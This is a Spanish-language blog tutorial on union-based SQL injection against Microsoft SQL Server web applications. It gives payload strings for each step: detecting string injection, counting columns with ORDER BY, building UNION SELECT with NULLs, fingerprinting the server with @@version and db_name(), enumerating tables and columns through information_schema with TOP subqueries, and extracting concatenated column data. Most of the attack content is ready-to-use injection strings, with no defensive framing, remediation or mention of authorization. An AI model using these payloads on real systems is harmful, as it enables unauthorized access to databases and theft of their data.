viernes, 19 de febrero de 2016

MSSQL Union Based SQL Injection

Introduccion

La mayoria de las aplicaciones web que usan Miscrosoft SQL SERVER usan como tecnologia ASP/ASPX, en este tutorial si es que se le puede llamar de esa manera veremos como inyectar una pagina que contiene una base de datos Microsoft SQL SERVER. 

Los errores mas comunes que se pueden ver para saber si es vulnerable la aplicacion web, son los siguientes:

 

Detectando el tipo de inyeccion

Agregamos la comilla simple (') y vemos si arroja error... Ok, pero si agregamos comilla doble (") tambien arroja error... Para saber cual de las dos es la correcta agregamos un comentario...

' --+- No Hay error
" --+- Si Hay error

De esta manera, detectamos que la inyeccion es de tipo String. En caso de que quitando la comilla simple o doble, no hubiese habido error seria de tipo entero (Esto por como estan los parametros donde inyectamos).

Podemos agregar diferentes tipos de comentarios, podemos tomar como referencia la pagina de Roberto Salgado






Ahora a contar columnas

Para contar las columnas que tiene usamos ORDER BY... 

' ORDER BY 10000 --+- ERROR
' ORDER BY 10 --+- ERROR
' ORDER BY 1,2 --+- OK


En caso de que este fuera de limite te saldra un mensaje como el siguiente:


En este caso son 2 columnas solamente.


Unir la consulta original con la nuestra

Lo siguiente seria unir la consulta original con la nuestra para ello usaremos... UNION y SELECT para seleccionar datos.

' UNION SELECT 1,2 --+- ERROR

En caso de que tire un error, por usar numeros, podemos sustituir esos valores por nulos.



Es por que no contienen el mismo 'tipo de dato' por lo cual usaremos NULL en cada columna, ejemplo: UNION SELECT null,null,null...

' UNION SELECT null,null --+- OK

Para ver las columnas vulnerables en la web (en caso de que no se muestren) negaremos la primera consulta, en este caso utilizando: and 1=0 lo cual es falso, negando la primera consulta.

' AND 1=0 UNION SELECT null,null --+- OK

Mostrando datos

Usaremos @@version para saber la version que contiene la base de datos, de esta manera podemos saber que base de datos es la que contiene por defecto y estan disponibles.

 

En este caso nos arroja la version Microsoft SQL Server 2000:



Para conocer la base de datos actual utilizamos db_name().

Estas son algunas de las formas que podemos conseguir mas informacion en MSSQL:

@@version - Version Actual
user_name() - Nombre de Usuario Actual
user, system_user, current_user - Nombre de Usuario Actual
db_name() - Base de Datos Actual
@@servername - Nombre del Host


Extrayendo tablas, columnas y datos

Ahora vamos a extraer los nombres de las tablas, la sintaxis es un poco diferente a MySQL:

 
' AND 1=0 UNION SELECT table_name,null from (select top 1 table_name from information_schema.tables order by 1) as shit order by 1 desc --+- OK      

' AND 1=0 UNION SELECT table_name,null from (select top 2 table_name from information_schema.tables order by 1) as shit order by 1 desc --+- OK   

' AND 1=0 UNION SELECT table_name,null from (select top 3 table_name from information_schema.tables order by 1) as shit order by 1 desc --+- OK     


En este caso cambiaremos TOP 1 por TOP 2 y asi sucesivamente, esto es como un LIMIT en MySQL, para limitar los resultados que va arrojando.

La siguiente sintaxis es para extraer las columnas de la tabla que selecciones:

' AND 1=0 UNION SELECT column_name,null from (select top 1 column_name from information_schema.columns where table_name='ELNOMBREDETUTABLA' order by 1) as shit order by 1 desc --+- OK  


' AND 1=0 UNION SELECT column_name,null from (select top 2 column_name from information_schema.columns where table_name='ELNOMBREDETUTABLA' order by 1) as shit order by 1 desc --+- OK  


' AND 1=0 UNION SELECT column_name,null from (select top 3 column_name from information_schema.columns where table_name='ELNOMBREDETUTABLA' order by 1) as shit order by 1 desc --+- OK  


Como anteriormente lo hicimos con el TOP limitamos los resultados.

Por ultimo para extraer los datos en si, solo necesitariamos las tablas y columnas que queremos sacar los datos, y para concatenarlas utilizaremos + (%2b):

' AND 1=0 UNION SELECT TOP 1 COLUMNAXXX%2bCOLUMNAXXX,null from TABLAXXX --+- 

' AND 1=0 UNION SELECT TOP 2 COLUMNAXXX%2bCOLUMNAXXX,null from TABLAXXX --+- 

' AND 1=0 UNION SELECT TOP 3 COLUMNAXXX%2bCOLUMNAXXX,null from TABLAXXX --+-   
    
%2b es lo mismo que + solo que en URLENCODE.    

No hay comentarios:

Publicar un comentario en la entrada